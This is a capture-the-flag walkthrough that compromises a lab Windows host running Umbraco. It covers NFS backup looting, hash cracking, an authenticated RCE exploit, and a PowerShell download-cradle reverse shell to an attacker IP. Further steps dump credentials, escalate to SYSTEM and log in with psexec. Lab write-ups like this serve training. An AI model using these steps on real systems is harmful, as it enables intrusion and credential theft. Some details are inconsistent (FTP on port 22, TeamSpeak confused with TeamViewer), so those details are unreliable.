Enumeration
Defining a helper variable containing the IP will make the following commands easier:
export ip=10.10.10.180
Ping and Nmap can be used to establish the TTL which will indicate the potential operating system, and find any open ports running on the server
ping $ip
# TTL 127 - Windows
nmap -sC -sV -p- -Pn $ip
| port | Service | Version | Notes |
|---|---|---|---|
| 22 | ftp | MS FTP | Anon allowed |
| 80 | http | MS HTTPAPI | Acme Widgets |
| 111 | rpcbind? | ||
| 135 | msrpc | MS Windows RPC | |
| 445 | ms-ds | netbios-ssn | |
| 2049 | nfs | 2-4 (RPC #100003) | |
| 5985 | http | ms HTTPAPI | |
| … |
HTTP
dirsearch -e php,html -f -u http://$ip -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
This finds an interesting application running at http://10.10.10.180/umbraco which has a login portal with reset password function.
FTP
Checking the ftp service as user anonymous shows there are no files of interest on the server.
ftp $ip
# anonymous / nopass
ls
# shows no files
NFS
Checking for mounts on the nfs shows there is one
showmount -e $ip
# Export list for 10.10.10.180:
# /site_backups (everyone)
To explore this further we can mount this to our local system:
sudo mount -t nfs $ip:/site_backups /mnt
Checking through the Logs folder we can find a user email which has been logged into before: admin@htb.local
Password Retrieval
In the App_Data folder there is the database file Umbraco.sdf. This file contains passwords which can be checked for by using less and searching for our known login email. These password hashes all contain the string hashAlgotithm. The following command retrieves all the hashes stored ion the database:
strings Umbraco.sdf | grep hash
Retrieved Password Hashes
|
|
These commands crack the password for the admin account:
echo "b8be16afba8c314ad33d812f22a04991b90e2aaa" >> hash
john --format=Raw-SHA1 hashes --wordlist=/usr/share/wordlists/rockyou.txt
# baconandcheese
Exploitation
The portal can now be logged into with the credentials recovered, admin@htb.local and baconandcheese.
On the help page the umbraco version is listed as 7.12.4
Doing a search on this version reveals an RCE exploit by sending an RCE payload to /umbraco/backoffice/UmbracoApi/Authentication/PostLogin. There are many examples of sample code for this exploit to perform commands on the server and print the output.
# Search for exploits
searchsploit umbraco
# Check exploit sample
searchsploit -x aspx/webapps/49488.py
# Get exploit sample
searchsploit -m aspx/webapps/49488.py
# Execute it
python 49488.py -u admin@htb.local -p baconandcheese -i 'http://10.10.10.180' -c ipconfig
# works!
Exploit 49488.py
|
|
This payload checks the running services on the host:
python 49488.py -u admin@htb.local -p baconandcheese -i 'http://10.10.10.180' -c powershell -a "tasklist /svc"
Of note teamspeak 7 is running which contains an exploit that allows password extraction.
Remote Shell
msfconsole
use exploit/multi/script/web_delivery
info
set target 2 # powershell
set payload windows/x64/meterpreter/reverse_tcp
set lhost 10.10.14.8
run
# powershell.exe -nop -w hidden -c IEX ((new-object Net.WebClient).DownloadString('http://10.10.14.8:8080/PhF6C0TqpP3emLl/M8r6ApMYJKX'));IEX ((new-object Net.WebClient).DownloadString('http://10.10.14.8:8080/PhF6C0TqpP3emLl/ndQCOjnFIYVA/1'));IEX ((new-object Net.WebClient).DownloadString('http://10.10.14.8:8080/PhF6C0TqpP3emLl'));
Running in second shell to send the exploit:
python 49488.py -u admin@htb.local -p baconandcheese -i 'http://10.10.10.180' -c powershell -a "-nop -w hidden -c IEX ((new-object Net.WebClient).DownloadString('http://10.10.14.8:8080/PhF6C0TqpP3emLl/M8r6ApMYJKX'));IEX ((new-object Net.WebClient).DownloadString('http://10.10.14.8:8080/PhF6C0TqpP3emLl/ndQCOjnFIYVA/1'));IEX ((new-object Net.WebClient).DownloadString('http://10.10.14.8:8080/PhF6C0TqpP3emLl'));"
# Connection established (in 1st shell)!
Teamspeak passwords
The running teamspeak service, v7, is vulnerable to having any stored credentials recovered. Metasploit has a module that can be used to retrieve any password:
use windows/gather/credentials/teamviewer_passwords
sessions # note session number
set session 3 # from previous
run
# !R3m0te!
Vertical Privilege Escalation via printspool
This command escalates the privledges above the low-level user the shell has been intiated as
getsystem
# ...got system via technique 5 (Named Pipe Impersonation (PrintSpooler variant)).
Vertical Privilege Escalation via Smb
With samba running the teamspeak password may log in through using samba. The metasploit psexec module can be used to test this method:
use exploit/windows/smb/psexec
set rhosts 10.10.10.180
set SMBUser administrator
set SMBPass !R3m0te!
set LHOST tun0
run
shell
whoami
# admin shell!
Flags
cat c:/users/Public/user.txt
cd c:/users/Administrator/Desktop
cat root.txt